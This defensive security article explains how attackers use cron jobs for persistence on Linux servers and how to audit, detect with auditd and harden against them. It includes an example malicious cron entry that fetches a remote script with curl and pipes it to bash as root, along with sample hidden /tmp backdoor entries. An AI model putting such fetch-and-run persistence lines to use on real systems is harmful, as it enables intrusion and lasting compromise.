In the 2024 compromise of a mid-sized SaaS provider, investigators found the attacker had survived three reimaging cycles — because a malicious cron job on the shared NFS-mounted /etc/cron.d directory kept reinstalling their web shell. Cron is trusted, quiet, and runs as root by default. That makes it a favorite persistence mechanism. Here is how attackers use it and how you catch them.
How Attackers Plant Malicious Cron Jobs
Cron reads jobs from several locations: /etc/crontab, /etc/cron.d/, per-user crontabs under /var/spool/cron/crontabs/, and the hourly/daily/weekly/monthly drop-in directories. Attackers target all of them. A compromised account with sudo access can write anywhere in that list.
A typical attacker payload looks deceptively boring:
# Written to /etc/cron.d/syscheck on prod-web01 (192.0.2.45)
*/5 * * * * root curl -s http://192.0.2.200/update.sh | bash
Every five minutes, root fetches and executes a remote script. The filename syscheck mimics a legitimate system health task. The -s flag silences curl output so nothing appears in logs. If the C2 server is down, the job silently fails and waits for the next cycle — no noise, no crash.
What would you do next? Block outbound connections from servers to arbitrary IPs at the firewall, but do not stop there. That curl command still runs — it just fails quietly. You need to find the entry and remove it, then understand how it got there in the first place.
Auditing Cron Entries Across the System
Do not rely on crontab -l alone. That only shows the current user’s jobs. A full audit requires checking every location cron reads from.
# Run on prod-web01 as root
echo "=== /etc/crontab ==="
cat /etc/crontab
echo "=== /etc/cron.d ==="
ls -la /etc/cron.d/ && cat /etc/cron.d/*
echo "=== User crontabs ==="
for user in $(cut -f1 -d: /etc/passwd); do
crontab -u "$user" -l 2>/dev/null && echo "[user: $user]"
done
echo "=== Cron drop-in dirs ==="
ls -la /etc/cron.{hourly,daily,weekly,monthly}/
Sample output from the user crontab loop on a compromised host:
[user: deploy]
@reboot /tmp/.cache/sync &> /dev/null
*/10 * * * * /tmp/.cache/sync &> /dev/null
[user: root]
no crontab for root
Two red flags immediately. First, the script lives in /tmp/.cache/ — a hidden directory inside a world-writable path. Legitimate software does not live in /tmp. Second, @reboot ensures the backdoor survives reboots even if the timed entry is removed. The &> /dev/null suppresses all output, both stdout and stderr.
Your next step: hash that binary, run it through VirusTotal or a sandboxed environment, pull the network connections it makes with strace -e trace=network /tmp/.cache/sync, and check which process wrote it using stat /tmp/.cache/sync combined with your auditd logs.
Detection With auditd and File Integrity Monitoring
Reactive audits catch attackers after the fact. Proactive detection catches the write event as it happens. Two tools close that gap: auditd (Linux kernel audit daemon) and AIDE (file integrity monitor).
Add these rules to /etc/audit/rules.d/cron.rules:
-w /etc/cron.d/ -p wa -k cron_modify
-w /etc/crontab -p wa -k cron_modify
-w /var/spool/cron/ -p wa -k cron_modify
-w /tmp -p x -k tmp_exec
Reload with augenrules --load. Now every write to a cron directory and every execution from /tmp generates a kernel audit event. Query them with:
ausearch -k cron_modify --start today | aureport -f -i
You will see output like this when an attacker writes a new cron file:
File Report
======================
# date time file syscall success exe auid event
1. 08/14/2026 03:17:42 /etc/cron.d/syscheck 2 yes /usr/bin/curl deploy 8841
That tells you curl, running as deploy, created the file at 03:17. Cross-reference event 8841 with ausearch -a 8841 to get the full command line, parent process, and network socket — the complete kill chain in one command.
Hardening Cron Against Abuse
- Restrict cron access: Create
/etc/cron.allowwith only the usernames that legitimately need cron. Any user not listed is denied. - Lock down cron directories: Set
chmod 700 /etc/cron.d /etc/cron.daily /etc/cron.hourlyandchown root:rooton all cron paths. - Block execution from /tmp and /dev/shm: Mount those filesystems with the
noexecflag in/etc/fstab. - Baseline your cron entries: Commit a known-good snapshot to your configuration management system (Ansible, Puppet, Chef) and alert on drift.
- Centralise logs: Ship
/var/log/cronand auditd events to a SIEM the attacker cannot reach from a compromised host.
What To Do Now
Pick one production Linux server right now and run the full audit loop from the second example. Pipe the output to a file, diff it against what your configuration management says should be there, and investigate every discrepancy. If you find nothing suspicious, you have a clean baseline. If you find something unexpected, you have just earned your day.
